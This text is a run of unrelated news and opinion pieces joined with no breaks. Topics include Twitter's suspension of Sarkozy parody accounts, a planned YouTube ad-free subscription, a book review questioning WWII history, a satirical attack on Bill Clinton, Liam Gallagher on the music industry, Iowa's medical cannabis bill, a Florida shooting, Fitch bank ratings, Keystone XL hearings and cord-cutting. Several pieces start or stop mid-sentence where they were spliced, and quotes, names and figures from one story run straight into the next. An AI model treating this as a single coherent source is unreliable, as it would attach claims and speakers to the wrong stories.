‘Twas a nice dunk.
Thanks to @Truth_About_It for the Vines.Twitter users started tweeting on Monday that a number of accounts spoofing or criticising the president had been removed by the social networking site.
Accounts removed included @SarkozyCaSuffit (Sarkozy That's Enough) and @_nicolassarkozy. When either are searched for the message "Sorry, that user is suspended" appears.
The website of Le Nouvel Observateur reported that the closure of the accounts happened at the weekend, shortly after the president joined the social networking site on Wednesday with his own official account, @NicolasSarkozy. The president now has around 89,000 followers after just five days.
Other accounts to have been suspended include @mafranceforte, which uses the campaign slogan of the president, and @fortefrance.
Newspaper Le Monde was reporting on its website on Monday that a member of the president's campaign team said they had requested the accounts be disabled.
However, the spokesman said they had only asked for accounts that could be mistaken for the president to be removed, and not those that were obviously parodies, such as @SarkoCaSuffit or @mafranceforte.
Twitter's own rules about parodies say that users are "allowed to create parody, commentary or fan accounts."
The rules state that, to avoid impersonation, "an account's profile information should make it clear that the creator of the account is not actually the same person as the subject of the parody."
The campaign group Internet Sans Frontières (Internet Without Borders) published a response from Twitter which, it says, was sent to the owner of the account @_NicolasSarkozy giving reasons for the suspension.
"We have received a valid report that your account @_NicolasSarkozy is engaged in nonparody impersonation. Although Twitter firmly believes in the freedom of expression, impersonation that misleads, confuses or deceives others is against the Twitter rules," said the message..
Internet Sans Frontières said the accounts "did not violate Twitter's user terms because they were clearly parodies." Specifically, the organisation said the @_NicolasSarkozy account stated it was a parody in its profile.
On Monday, the hashtag #SarkoCensure was trending strongly on Twitter in France as users commented on the reported suspensions.YouTube is launching a paid service later this year for users of the site who don’t want to see advertising. It’s good news for those that hate ads, but might be bad news for those that upload videos.
Today, the company sent out an email to YouTube partners giving the heads up about the impending launch of a new subscription.
According to Bloomberg, it’ll cost $10 a month to rid the site of advertising, but content creators on YouTube have no choice but to accept the new terms. If you disagree, all your videos will be set to private.
The terms offer a convoluted explanation for what content creators will actually get from the company, saying:
YouTube will pay you 55% of the total net revenues recognized by YouTube from subscription fees that are attributable to the monthly views or watchtime of your Content as a percentage of the monthly views or watchtime of all or a subset of participating content in the relevant subscription offering
Basically, if someone pays for a subscription and watches your video, you’ll get a percentage of that fee paid to you as decided by YouTube, just like with advertising. It’s not clear if that’ll be a smaller amount of money or not at this stage.
The new subscription service will live alongside YouTube’s paid music service, YouTube Music Key, as a separate offering.
We don’t know when the subscription will launch — the terms go into effect during June, so probably around then — but it is a great option for those that are sick of the pre-roll video ads and banners on the site.
That said, it seems unlikely that most viewers will be willing to pay, in my opinion. They simply don’t care. Paying $10 per month just to remove advertising seems like a big ask, unless there are other features that sweeten the deal too.
➤ Google Plots New YouTube Subscription Service as Soon as This Year [Bloomberg]
Read next: #Homescreen for iOS update lets you check out other people's appsAs a life-long conservative, I've found myself challenging my beliefs over the past five or so years. I've read a lot of books I would have called "pinko-commie" not too long ago. "The Corporation" was the first, followed by Howard Zinn's history of the 20th Century. Those gave rise to questioning our country.
I'd long heard that WWII was precipitated by issues seldom discussed in conventional history books. This book solidifies many of those things I'd heard. What's amazing is that the book, by and large, is not modern day opinion and observation of 60 year old facts, but rather a selection of opinions and facts FROM 60 years ago. Our history books make it seem as if the Allies were peace-loving peoples forced into a state of war by the crazed Axis countries.
While Hitler may have started the war, the book shows how the incidents that happened after the beginning of the war (and indeed, before it ever started) are not the way our history books seem to remember them. The sanitized history we are all fed here is shattered when you read this book.
Even if you choose not to accept or believe all you read here, the information is good to have regardless of your political leanings. Like I said, I'm a conservative (so much so that folks used to say I couldn't even make a left turn) but events of the past 10 years, bolstered by books like this, make me question where I really stand. When a book makes you question your beliefs - you know it's a powerful book.Introducing Clinton at UC Davis, Chancellor Larry Vanderhoef said, "He continues as a living hero. Hope—it's about giving people hope."
It certainly is. Bill Clinton gives hope to every one of us potato-nosed oafs from nowhere with our shiftless relatives and our marriages that are like being sewn up in a sack full of cats. If this knight of the manure shovel, this gas pudding, can become the leader of the free world, there's hope for us all. We observe his ragamuffin character stitched together from scraps of prevarication and ribbons of fantasy. We watch his hinge-heeled ethical contraption flap in the breeze of fundraising and personal finance. We cluck at the spectacle of a sad rip and his homely girlfriends. No annoying crick in the neck from looking up to this hero.
But Clinton succeeds. The rest of us do not. Various theories have been put forth to explain the somewhat surprising rise of Bill Clinton and his truly astonishing failure to fall. My friends who listen to AM talk radio say I am not the first to suggest that he made a pact with Satan. But I don't think Bill did that. A pact with Hillary, yes—but a modern presidential administration is a corporate pyramid in its delegation of powers. The selling of souls in the Clinton White House was conducted at a lower level on the organizational chart, by such as George Stephanopoulos, Sidney Blumenthal, and Erskine Bowles.
Speculations of a more likely nature credit Clinton's political skills, his charm, his brains, and his luck, although it's not the kind of luck that one would want to have. Clinton has been lucky most of all in his enemies. He has something by which right-wingers are driven crazy (not much of a journey in many cases). It isn't the policy Clinton pursued. Once comprehensive health care (where archaeologist Al Gore went digging) had been entombed, Clinton's policies were mostly too small or skittering to attract a maniacal response. Opposing his legislative initiatives was a varmint hunt, not a mad quixotic crusade. Some of those varmints even proved useful—for example, the big lab rat of welfare reform currently running through the sociological labyrinth. Sorry if conservatives ate the cheese at the end of the maze.
Something else lit the lichen on the mossbacks. Maybe it was seeing that loosey-goosey sixties generation at 1600 Pennsylvania Avenue eating peas off its knife on Dolley Madison's china. Or maybe it was the little smirk that Clinton has, or the much larger one that belongs to his wife.
Anyway, Clinton's enemies had a tendency to explode with anger, most notably during the impeachment. The walls of the House and Senate chambers were left covered in a goo of spit venom and slung mud. Red-faced, dirty Bill looked swell by comparison.
All cleaned up and calmed down, he certainly looked swell in comparison with the other dignitaries at the October 10, 2002, Boston Teachers Union rally for the gubernatorial candidate Shannon O'Brien. Mayor Tom Menino spoke, followed by the candidate for lieutenant governor Chris Gabrieli, and then O'Brien herself. Clinton put a finger to his temple in a pose of interest. Clinton cupped his chin in his fist in a gesture of concentration. Clinton rubbed the back of his head for a heedful effect, ran a thumb down the line of his jaw to mime a thought provoked, and, in short, made use of every theatrical trope to indicate rapt attention while failing to look unbored. Clinton is reputed to be a man who doesn't sleep much, but there seemed every likelihood of his getting forty winks at the Boston Teachers Union Hall."The shady little fuckers at the top".
Liam Gallagher has opened up on disgraced Hollywood mogul Harvey Weinstein, and admitted that accusations of sexual assault have always been existing under the surface in the music industry.
The former Oasis singer was speaking to Fault Magazine when he revealed how “shady little fuckers” have always been present within music.
“You know it’s there. The shady little fuckers at the top. It’s not even with just men and women, it’s men and men too”, Gallagher admitted.
“All these pop bands – you hear about it with Take That but I’ve never witnessed any of it. Nobody would come near us. We were caught up in our own bubble. We weren’t hanging about with the record company.
“We’d go to the awards show and they’d be there, but we’d just get off and do our own thing. And I certainly didn’t see any weird shit.”
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He also revealed how the music industry needs to be exorcised of “shit bags” if anything is to change in the wake of devastating revelations.
“Obviously get rid of all the shit bags. Obviously, if everyone took care of their shit – everything would be cool”, he said.
“We all live together under one sky at the end of the day. Everyone just needs to cool the fuck out.”
Meanwhile, Liam was recently forced to deny rumours that he had become firm drinking buddies with Shane McGowan, after a newspaper report claimed that the pair regularly bond over booze in a North London pub.For far too long we’ve been teased with a live-action Akira movie that’s seen numerous creators come and go, but back in August we learned that writer/director Jaume Collet-Serra ultimately “won” the job with a vision that impressed studio heads the most.
Since then, we’ve heard nothing – mainly because Jaume has been busy with films like Non-Stop and Run All Night. However, I recently had the chance to catch up with the director at the press day for Non-Stop and I asked him what his future plans were, and if they included Akira.
Here’s his response:
Jaume Collet-Serra: I’m still fighting with Akira. The studio is hot on it again. I left the project two years ago, they waited for me, they’ve been like, “We want you to do the movie,” and so I’m writing again. One of the issues why it stopped was the script. We all understand we need a script we can actually afford, and so that’s what we’re doing – we’re writing. WGTC: So to confirm, you’re still attached? Jaume Collet-Serra: Oh I’m very attached! The problem is whether they’re going to seriously go ahead and do it, but that’s me pushing it. I’m pushing and pushing Akira. I want to be able to do the movie and go to Japan to film it!
It sounds like Jaume has the job outright at this point, which we already knew, but it also sounds as if there’s still a long road ahead. Going back to the writing phase means the studio still has to be confident in Collet-Serra’s Akira story, and the fact that there’s still a “fight” going on means that anything can still happen.
On the flip side, having the studio wait for Jaume Collet-Serra means that they really like what the auteur has to offer, indicating that quality is a priority for this ambitious film. As Collet-Serra says above, it’s all about making a script that they can afford, and producing the best possible project the studio can.
Fans of course will debate Akira to the death until it’s made, but I really hope that the studio is holding out for Jaume Collet-Serra because of a general want for quality, which again is reinforced by the timeframe that this project has been stewing.
Is it finally time to move forward with Akira? It appears that it’s Mr. Collet-Serra’s job to lose at this point – and let’s hope all his pushing leads to some concrete progress.How did you get into League of Legends?
Where do your Summoner names come from?
What got you hooked on playing Shaco?
Who is your go-to champion if Shaco gets banned?
If you could describe Shaco’s playstyle in a sentence, what would it be?
What runes and masteries do you run on him?
What is Shaco’s core item build?
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,000 for temporary emergency housing and has achieved nothing. This 90-day plan provides people with basic necessities and human dignity," said Thomas.
The proposal wasn't a long-term housing solution but would help those most at risk until long-term social housing became available.
Each tiny house would cost an estimated $3200 to build and provide shelter, warmth, lighting, solar USB charger and a storage locker, Thomas said.
The existing $360,000 annual budget would also cover the costs of 24-hour security, bathroom facilities, a bike shed and a large community garden.
"Housing prices and rents have skyrocketed in Auckland and we have to be thinking creatively to deliver results for our most vulnerable people," said Thomas. "Spending $360,000 on renting properties for 70 people would run out in under three months in Auckland.
"The money is there. The land is there. The will is there. We just need to get on with it and stop mucking about."
The Kauri Street Nursery occupies two hectares of land in Auckland Domain and will become vacant in September. The site already contains a number of buildings and has a secure perimeter.Advertising disclosure : This article may contain affiliate links. If you sign up for an offer through such a link, the owner of this site receives a referral fee and is forever grateful for your support.
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A little while back I was reading a Reddit post about how people earn money on the side, and I came across Chris, who owns an eBay store where he sells rare and signed books. He was gracious enough to share his story with us and answer some questions about how he makes a substantial income from the comfort of his home.
Where did you come up with the idea to open an eBay store? How did you get started?
For a while I was working in a local used bookstore and I started noticing books I thought were vastly underpriced. With the help of some coupons I managed to pick up a first edition copy of The Return of Sherlock Holmes for about $15 and a first edition copy of For Whom the Bell Tolls for under $3. I listed these books along with some lots of less valuable books from my collection in an attempt to downsize what was rapidly becoming unmanageable (shelves lining each wall and stacks of books on every flattish surface).
With this early success I realized this was something that could potentially be quite lucrative and at the same time keep me around the books that I love so much. I started buying up deals when I saw them either in person or through strategic internet scrolling—something I soon found myself doing whenever I was bored or had a little free time. I started the eBay store specifically for the reduced fees and extra free listings, but I have found that it makes a nice front for my merchandise and has the added benefit of a nice easy link to refer potential customers to my business.
What is the biggest lesson you've learned when creating eBay listings to drive the most sales?
Some of the biggest lessons I learned early on weren’t from anything I did myself but from watching other people’s mistakes. I could spend hours combing through eBay auctions tailored specifically to the type of books I want to sell and it was rare that I would find anything priced significantly low enough to make enough money after fees to even put in the effort of buying and reselling them. But the few things I did find with a significant profit margin were books that were just poorly marketed. I’ve bought books with the title “book”; I once bought a biography of President Truman that mentioned it was signed but didn’t mention it was signed by the president.
These sellers were losing a lot of money just by being too lazy to list their items properly or simply not using common sense in their listing titles (I just hope these types of sellers aren’t reading this now or it’s going to severely affect my revenue stream). I don’t use buzz words or anything in my listing titles but I do make sure that the most valuable pieces of information are readily available, otherwise how are the people willing to give me money going to find my shining needles in the giant stack of hay that is eBay.
Is your eBay store your primary income, or a side hustle? Do you have plans to make it a full-time living?
At the moment eBay (and hopefully soon other marketplaces) is my primary income but mostly because I haven’t found a decent full or part time job. The best part about this business is how well it works as a “side hustle”. I started selling books while I was still working 30 hours a week at the used bookstore and started making money pretty much right away.
By the very nature of being a primarily online business I get to set my own hours, work only when I want to, and exchange any time I can/want to for profit. I would love to eventually make this into a full time career, either working for myself or for one of the big names in rare books, but as of right now it’s really not enough to live too comfortably on.
Where do you source your books for sale? How much do you like to keep in your inventory?
I started out primarily buying books from the store I worked at and from various websites. Since then I have moved into visiting other local businesses: from flea markets, antique malls, and used bookstores to yard sales and estate sales. I don’t really worry about a set inventory. I buy books that I know I can make money on and as long as I can still move about in my apartment without directly stepping on books I will continue to purchase as many books as I can find. The books that I deal in (primarily rarer books whether antique, signed or first edition) tend to be niche items that can take a while to sell so my inventory has grown rather steadily.
What was the most expensive book you have ever purchased? What was the highest priced sale you have ever made? How do you know you have the value right when you buy and are getting the best price possible when you sell?
I bought a signed copy of Jack London’s Call of the Wild (unfortunately a 10th printing) that was in rather rough shape for $100 with the intention of having it repaired and reselling it for upwards of $1000. I ended up listing it as is and still sold it for $525 making it the most expensive single book I’ve ever bought and sold (so far).
I came into this business with a decent knowledge of books; between working in a book store, majoring in English in college, and having a lifelong passion for reading. This basic knowledge tempered with insight gained from running the business means I generally have a good idea of how much a book is worth without doing much outside research. That being said before I make a purchase of any significant amount I do use varying online sources (eBay sold listings, vialibri.net, Amazon) to come up with a full picture of both asking prices and selling prices.
Sometimes (if I’m lucky) the books I’m buying and selling are one of a kind and it can be a risk spending a decent sum of money on them, but so far using my knowledge that always seems to be a risk that was worth taking. eBay can be a risky place to list your items if you don’t use it properly. Something as simple as listing a high value item with a low starting price in the auction format in a time frame that is bad for sales (for instance immediately after Christmas) can mean your item sells for significantly less than it’s worth.
I avoid this by starting auctions at a reasonable selling price or listing items as buy-it-now with best offer so I’m never taking a price I’m not comfortable with. On the other hand I know for a fact some of the one of a kind items I sell are going for less than their worth simply because I don’t have the right connections to sell them at their potential value.
For instance I sold a copy of Carl Sandburg’s autobiography signed to then president of CBS and television hall of famer Frank Stanton for $500, and while this was a great profit on what I bought it for I think it could have been worth substantially more if I knew anyone at CBS nowadays. Right now I have a set of books that have been in the Ewing-Sherman family for well over 100 years and are signed by General William Tecumseh Sherman’s wife to their children, as a high value item they will most likely sit on eBay for a while whereas a few decent connections could have them sold tomorrow.
Do you run your online business out of your home, or do you have outside space you use? How do you store your inventory while waiting for buyers?
I do run my business out of my home at the moment. I still have the bookshelves lining every wall but I've gotten rid of most of my personal collection and now instead of cheap fantasy books and beat up Mark Twain novels they’re covered (quite liberally) in my much more valuable inventory.
What is the biggest thing you've learned from your eBay store experience that you wish you knew when you started?
One of the biggest ongoing mistakes I made early on was my inability to separate perceived value from actual value. A lot of my early purchases were made along the lines of “this book is too cool not to be worth more than that.” Sometimes that steered me well,, but especially without figuring too much into fees and shipping costs early on I did make a few purchases that resulted in a net loss.
If you were going to start over today with a new eBay store, what steps would you take to start earning a profit as soon as possible?
Honestly I’m pretty happy with the way I started my business. There were a couple mistakes value-wise early on but the total net losses have been pretty low. Some of the only things I could really have improved on were basic costs that could have been minimized if I had been better informed: I used to buy shipping materials at big box stores and spent way too much money on them compared to buying in bulk online like I do now. Even now I’m still learning, testing the waters with different auction formats and branching out into other seller marketplaces.
Do you think others could have similar results starting their own selling business on the side?
I specialize in selling books because I love books and that has made every moment of this fun rather than seeming like extra work, and the fact that I knew a decent amount to begin with has curbed a lot of the beginner mistakes I would have made otherwise. But everything I’ve learned is equally applicable to any item you could think of. If you don’t know anything about selling books I wouldn't recommend following in my footsteps, but if you like sports there’s a huge market out there for sports memorabilia. Ditto for toys, electronics, clothes, etc. But if you just like money there’s no need to specialize at all, enough intelligence and research can turn retail arbitrage of any sort into a very lucrative career or side business.
If you want to visit and support Chris, here is how to find him:
If you have any questions for Chris about his online business, please leave them in the comments below!
Pin 2 64 SharesAcross California, skis sit in closets and garages, unused. Snowboards are not shredding. Cross-country skiers are looking elsewhere for their exercise.
The three-year long drought plaguing the western United States is only likely to get worse over the next year, forecasters and climate scientists say, given a dismal snowpack that has officials in many states worried.
Despite a snowstorm earlier this week, the snowpack in the Sierra Nevada mountains stands at just 12 percent of the average level, the lowest measurement in the half-century records have been kept. Here’s how that looks, in an image snapped by the National Oceanic and Atmospheric Administration:
Snowpack in the Sierra Nevada, Jan. 13, 2013 vs. Jan. 13, 2014 (Photo credits: NOAA)
The low snowpack has serious consequences for the summer. Less snow means less summer runoff. Already, California has banned fishing in some drought-prone rivers. Gov. Jerry Brown (D) has asked residents to turn off the water while brushing their teeth. Earlier this week, President Obama called Brown to discuss the drought.
Earlier this month, Brown declared a state of emergency, urging residents to conserve water as much as possible. Several state agencies have said they plan to ration water throughout the summer. And already this year, several wildfires have broken out in areas of the state like Humboldt County, which is typically wet enough in the winter to mute any fire activity.CLOSE Iowans overwhelmingly support legalizing marijuana for medical purposes, but they don't support allowing recreational uses, an Iowa Poll from 2017 shows. Wochit
Buy Photo Peyton Parker, 18, of Panora, carries a box of files down from the House chambers on Friday, April 21, 2017, at the Iowa Capitol Building in Des Moines. (Photo: Bryon Houlgrave/The Register)Buy Photo
Iowa lawmakers struck a last-minute deal early Saturday morning to expand the state's limited medical cannabis program, approving legislation that would allow marijuana to be grown in Iowa and dispensed as an oil to seriously ill patients.
“There are sick Iowans out there that need relief, bottom line," said the bill's floor manager, Rep. Jarad Klein, R-Keota.
The legislation, unveiled in the Iowa House about 3 a.m. and given final approval by the Senate at 7 a.m., was among the final bills passed by the General Assembly before lawmakers officially adjourned for the year.
"There are many, many citizens, literally thousands of citizens, that could benefit from the use of this medication," said Rep. John Forbes, a Democrat and pharmacist from Urbandale. "They’ll have access now to a treatment for debilitating diseases that are not very well treated sometimes with conventional medicine."
Iowans currently are allowed to possess cannabis oil for the treatment of epilepsy. But it's illegal to manufacture or distribute that oil in the state, and federal law prohibits its transportation across state lines. In practice, that makes it illegal for Iowans to obtain the product.
The current law, enacted in 2014, is scheduled to sunset in July. Advocates have pushed for a replacement program that allows the plant to be grown within state lines and prescribed to patients with a much wider range of medical conditions.
CLOSE Erin Miller's son was having seizures and all the motor skills he had gained disappeared. Now, after being on cannabis for a year and a half, he’s walking, running, giving high-fives and hugs, and being a little boy Zach Boyden-Holmes/The Register
If approved by the governor, House File 524 would require growing, manufacturing and distributing companies to submit proposals to the state, and it would allow the Department of Public Health to approve up to two manufacturers and up to five distributors for operation. Those companies could only produce and sell cannabis oil with a tetrahydrocannabinol, or THC, content of up to 3 percent. THC is the psychoactive component of cannabis.
The bill also would expand access to the product to patients who have been diagnosed by an Iowa-licensed physician with Parkinson's disease, cancer, multiple sclerosis, seizures, AIDS and HIV, Crohn's disease and Amyotrophic Lateral Sclerosis, as well as most terminal illnesses that have a life expectancy of less than one year and untreatable pain.
A new Medical Cannabidiol Advisory Board would be established within the Department of Public Health to recommend adding or removing conditions from that list to the Iowa Board of Medicine. That board also could issue a recommendation to the Legislature to raise the 3 percent cap on the THC limits if necessary.
“We are leaving that door open for them to give us the advice," Klein said. "But at the same time, we’re making sure that we’re not ceding our responsibility to have oversight on this."
The bill passed in the House with bipartisan support on a vote of 83-11. The Senate took up the bill for debate shortly afterward, ultimately approving it on a 33-7 vote.
Sen. Thomas Greene, R-Burlington, a retired pharmacist, urged his colleagues to support the bill in the Senate.
“This is a step forward,” he said.
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The Iowa Senate earlier in the week passed its own legislation expanding access to medical marijuana. Senate File 506 was much more expansive: It did not cap the THC levels, it would have allowed patients with about 20 different medical conditions access to cannabis oil, and it would have legally reclassified marijuana under state law.
But Republicans in the House took issue with that language, saying it was far too broad. They said they preferred to have medical experts overseeing certain decisions. The Senate on Saturday agreed to advance the House version of the bill, though many Democrats expressed frustration.
Sen. Joe Bolkcom, D-Iowa City, said that for most ailments covered by the bill, the medication has no more benefit than a baby aspirin.
“I am afraid it will provide a lot of false hope for the thousands of suffering Iowans who have petitioned us and really begged us,” Bolkom said, urging a no vote. “For sick Iowans, you won’t get much relief unless you get relief from hollow Republican talking points.”
Sen. Charles Schneider, R-West Des Moines, said he agreed the Senate version was superior to the bill approved by the House. But he said the legislation would expand the availability of cannabis oil to sick people and it will no longer force people to purchase the drug out of state.
“It’s not perfect," he said. "But it is a good start, and a fitting way to end this legislative session."
Read or Share this story: http://dmreg.co/2pOYSkWBryce Glover says public toilets were only a short distance away.
An Auckland bus driver allegedly caught urinating out the back door of a bus has been identified and spoken to.
Auckland man Bryce Glover posted on his Facebook page that this was the second time he had witnessed the same bus driver urinating on the street.
Glover also wrote that the driver had parked on yellow lines and pulled up on the curb, all offences Auckland Transport staff were quick to "pounce" on.
Auckland Transport spokesperson Mark Hannan said the driver was an employee of NZ Bus and did not work directly for Auckland Transport.
READ MORE
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"He has been identified and his employer is talking to him."
BRYCE GLOVER Auckland Transport says it will investigate the incident and track down the driver.
The behaviour of the driver was "totally unacceptable", Hannan said.
Glover said a woman walking by also saw the driver and "got a bit of a fright with what she saw".
He said the driver was urinating just 150 metres away from public toilets near the Onehunga bus depot and also said the driver only "smirked" when confronted.
BRYCE GLOVER Bryce Glover says he has seen the bus driver urinating twice in the same location.
Glover said he worked nearby and would have been happy to let the bus driver use the toilet at his workplace if he needed to.
NZ Bus has been contacted for comment.Apple this evening has released minor updates to iMovie and Final Cut Pro for Mac. The updates bring the former to version 10.1.6 and the latter to version 10.3.4, including primarily bug fixes and performance improvements for both
Sylvania HomeKit Light Strip
Apple quietly issued the updates tonight, with quick and to the point change logs. The company says the update for iMovie improves stability of the app when updating libraries originally created with previous versions of the software. Additionally, the update fixes an issue related to clip volume after transitions:
Improves stability when updating libraries created with earlier versions of iMovie
Addresses an issue which could lower the volume of clips after transitions
For Final Cut Pro, the update improves stability with keyboard shortcuts, audio fade in, and sharing clips:
Resolves a stability issue when using keyboard shortcuts to trim in Secondary Storylines
Fixes an issue in which certain editing operations could create an extra audio fade in
Fixes an issue in which the Share dialog could incorrectly display a codec warning
The last major updates for Apple’s video editing software applications came alongside the announcement of the Touch Bar MacBook Pro, though the apps have seen smaller updates since then.
iMovie for Mac is available on the Mac App Store. The video editing app is free on new Macs and is available for $4.99 on older machines. Final Cut Pro is available for $299.99 on the Mac App Store, though Apple recently introduced an education bundle for $199 that also includes Logic and other pro apps.
Check out 9to5Mac on YouTube for more Apple news and reviews!A complete ban on women wearing veils should be introduced because it stops them from "smiling, waving and saying hello" in a very British way, a Tory MP has said.
Philip Hollobone said it was "really, really sad" that Britain would be a "miserable country" if everyone went about their business with their faces covered.
The MP for Kettering, who is calling for a complete ban on wearing the veil in public, told LBC radio: "I don't want to live in a country where we go around with our faces covered because part of the British way of life is smiling, waving and saying hello to passersby and if we're all going to go around with our faces covered it is going to be a very miserable place indeed.
"I think it is really, really sad in 2016 talking about it being acceptable to live in a miserable country where everyone goes around with their faces covered. How sad is that."
France passed a law in 2010 which bans the wearing of any face-covering headgear, including balaclavas, niqābs and other veils in public places.
Mr Hollobone cited that it would not be acceptable for a male teacher to wear a balaclava in a British classroom.
"I think what we need to do is clarify in law what is legal and not legal. For example, if you go into a post office wearing a motorcycle helmet you are required to remove it, but that is not clear in law if you go into a post office wearing a balaclava or a burka are you required to remove it? It's a grey area and I think it needs to be clarified," he added.
It comes as Sir Michael Wilshaw, Ofsted's chief inspector, warned that schools will be marked down for the first time if inspectors judge that wearing the veil – by students or teachers – is a "barrier to learning".
Sir Michael has written to all inspectors instructing them to mark down institutions where they believe the veil hinders "positive social interaction".
He said that people need to listen to David Cameron’s concerns that “our liberal values, our liberal West values, are protected”. The new rules will affect around 16,000 children and just under 1,000 teachers who currently wear the veil to school.
David Cameron previously supported the idea that Muslim women could be banned from wearing veils in schools, courts and other British institutions.
Mr Cameron said that he will give his backing to public authorities that put in place “proper and sensible” rules to ban women from wearing face veils in comments which will reignite debates.
The Government is preparing to announce a series of measures designed to stop British Muslims becoming radicalised and traveling to the Middle East to join terrorist groups such as the Islamic State of Iraq and the Levant (Isil).
As part of the plans, ministers will pledge to outlaw gender segregation during meetings in public buildings amid concerns that some Muslim organisations are forcing women to sit separately.By: WCTV Eyewitness News
May 10, 2017
FRANKLIN CO., Fla. (WCTV) -- The Franklin County Sheriff's Office is looking for a suspect wanted in connection to a Friday shooting in Apalachicola that sent three people to the hospital.
FCSO says Lataska "Bo" Harris has outstanding warrants for aggravated battery with a firearm and possession of a firearm by a convicted felon stemming from the shooting on MLK Blvd.
A second suspect in the shooting, 25-year-old Austin Phillip O'Neal, turned himself in over the weekend.
Anyone with information of the whereabouts of Lataska Harris is asked to call the Franklin County Sheriff's Office.
By: WCTV Eyewitness News
May 6, 2017
FRANKLIN CO., Fla. (WCTV) -- According to the Franklin County Sheriff's Office, the suspect in a Friday afternoon shooting has turned himself in.
25-year-old Austin Phillip O'Neal of Apalachicola, is accused of shooting three people on the 100 block of MLK Blvd.
By: WCTV Eyewitness News
May 5, 2017
APALACHICOLA, Fla. -- (WCTV) -- Three people are injured in shooting in Franklin County Friday afternoon.
Franklin County Sheriff's deputies and Apalachicola police are currently investigating the shooting at the scene at the 100 block of MLK Blvd.
A previous altercation at the residence allegedly led to the shooting. Franklin County Sheriff A.J. Smith tells WCTV that 25-year-old Austin Phillip O'Neal of Apalachicola, pulled up to the residence on the 100 block of MLK Blvd. where words were exchanged and then gunfire ensued.
The three victims in the shooting are all currently in stable condition after being taken to local medical facilities in Panama City.
O'Neal has been identified as a suspect and warrants for 2 counts of attempted murder are out for his arrest.
O'Neal's vehicle was found about a block away from the shooting and has since been searched and investigated.
O'Neal is considered armed and dangerous, do not attempt to apprehend him.
If you have seen O'Neal please contact the Franklin County Sheriff's Office.Fitch Ratings affirmed the default ratings of Canada’s largest banks Monday, but changed its outlook on Royal Bank of Canada’s to negative from stable.
The ratings agency said the change was made because Royal Bank’s “future earnings volatility may be higher than Canadian bank peer averages as well as in comparison to similarly rated global financial institutions.”
Part of the reason is Royal Bank’s purchase of Los Angeles-based private and commercial lender City National Bank, Fitch said in a report issued Monday.
The ratings agency is generally positive about the $5-billion acquisition, but said it left Royal Bank with tangible capital ratios lower than similarly rated global peers. And though City National should provide Royal Bank with good growth opportunities in markets in the United States, it could be modestly dilutive to the Canadian bank overall return on equity, Fitch said.
What’s more, growth in the capital markets businesses may require an incrementally higher risk appetite as the company competes more against larger global players, which Fitch believes could introduce higher levels of volatility to Royal Bank’s overall earnings profile relative to both global and Canadian peers.
The “potentially higher earnings volatility may not be consistent with the company’s current rating level,” Fitch said.
Nevertheless, the ratings agency said Royal Bank has been posting consistently good earnings performance in recent years, and has a strong market position, sound funding and a good liquidity position.
Monday’s rating action followed Fitch’s periodic review of Canada’s biggest banks, including Toronto-Dominion Bank, Bank of Montreal, Bank of Nova Scotia, Canadian Imperial Bank of Commerce, National Bank of Canada, and Caisse Centrale DesJardins.
The ratings for those banks were reaffirmed, and the stable outlook was maintained.
The outlook reflects the banks’ good funding profile, strong access to wholesale funding, and solid capital positions, the ratings agency said.
“Although Fitch recognizes that the Canadian banking sector is likely at an inflection point in terms of performance, the expectation remains that Canadian banks will continue to compare favorably versus global peers, which continues to support their high ratings level,” Fitch said.WASHINGTON (Reuters) - Nebraska regulators weighing the fate of TransCanada Corp’s (TRP.TO) proposed Keystone XL pipeline have ruled that opponents of the project cannot use one of their best arguments against it in final hearings next week: that America does not need the oil.
Deer gather at a depot used to store pipes for Transcanada Corp's planned Keystone XL oil pipeline in Gascoyne, North Dakota, in January. REUTERS/Terray Sylvester
The state’s five-member Public Service Commission is scheduled to hold court-like hearings on Aug. 7 to 11 before deciding whether to approve the project’s route, marking the final hurdle for the long-delayed project after President Donald Trump gave it federal approval in March.
While both sides are honing their arguments, the commission this week notified some 25 landowners along the pipeline’s proposed route that it would exclude some of their pre-written testimony against the line, including arguments that there is a limited market need for it.
Lawyers for TransCanada had objected to the argument, telling the commission the subject is beyond the scope of its consideration, and the commission agreed, according to records seen by Reuters. (bit.ly/2vy8qXw)
The commission is charged with weighing whether the project is in the public interest of Nebraskans, and will mainly consider things like jobs, revenues, and other issues impacting the local economy.
It is not permitted to consider issues that fall outside that remit, however. It is also barred from considering any environmental issues because the pipeline route already has an environmental permit.
The decision to block arguments relating to the business case for Keystone XL is a blow to pipeline opponents who had hoped to lean heavily on it after TransCanada Executive Vice President Paul Miller told investors last month the company has not yet decided if the pipeline will be built, and will wait until it makes “an assessment of commercial support.”
Opponents of the project have for years argued the pipeline from Alberta’s oil sands to the U.S. heartland poses a risk of spills, could accelerate global warming, and offers limited jobs and revenue in return - but wanted to deepen their economic argument.
“There is simply no need for the Keystone XL pipeline based on the current market conditions, which even TransCanada has admitted,” said Lorne Stockman, one of the landowners whose testimony was blocked. “It’s no wonder they don’t want me to testify.”
TransCanada officials have since said they are committed to the project and that it has “good support” from shippers. The company says the project would provide significant benefits to Nebraska in the form of construction jobs and property taxes.
Trump, who campaigned on a pledge to support the line after former President Barack Obama blocked it, has said the project would create 28,000 jobs nationwide. A 2014 State Department study predicted just 3,900 construction jobs and 35 permanent jobs.“I like the idea of YouTube TV, but I want TBS.”
“I’m thinking about cutting the cord, and think Sling TV sounds perfect for me, but I don’t think I can give up CBS.”
I hear these kinds of statements from readers all the time. And I totally get it. I, too, used to be programmed to want — in my mind, need — specific stations. However, having been on the other side for a few years now, having survived the time when cable-less meant sacrifice was a given, I’ve learned a valuable lesson.
That lesson is this: If the thought of losing out on a handful of channels is the primary reason you haven’t cut the cord, then you’re going about the decision-making process in the wrong way.
The reality is that if ditching your cable company is something you’re actually serious about, then you should also be serious about reframing how you think about TV in general. By that, I mean you should be open, if not enthusiastic, about untethering yourself from someone else’s programming.
Maybe, if it helps, you might try thinking about cutting the cord as your chance at an entertainment awakening.
You don’t have to take my word alone for it. Regular readers probably remember Carol Manifold, who I helped cut the cord earlier this year. After all was said and done, the La Jolla resident told me that she noticed a marked change in her viewing behaviors.
Carol chose to skip the streaming cable alternatives altogether. Instead, she went with a TV diet of CBS All Access, PBS, Netflix and Amazon Video. As a result, she reported thinking “more actively” about what to watch, instead of mindlessly turning on the TV just to have it on.
“I’m making different choices,” she told me at the time. “I’m less in the habit of just watching TV. Sometimes I just read a book or go out in the yard.”
Interestingly enough, I, too, rediscovered the joy of reading a good book after severing ties with my cable plan. But that’s me. I’m not trying to preach about the value of reading, per se, but I do believe that the best content available right now isn’t tied to a cable provider.
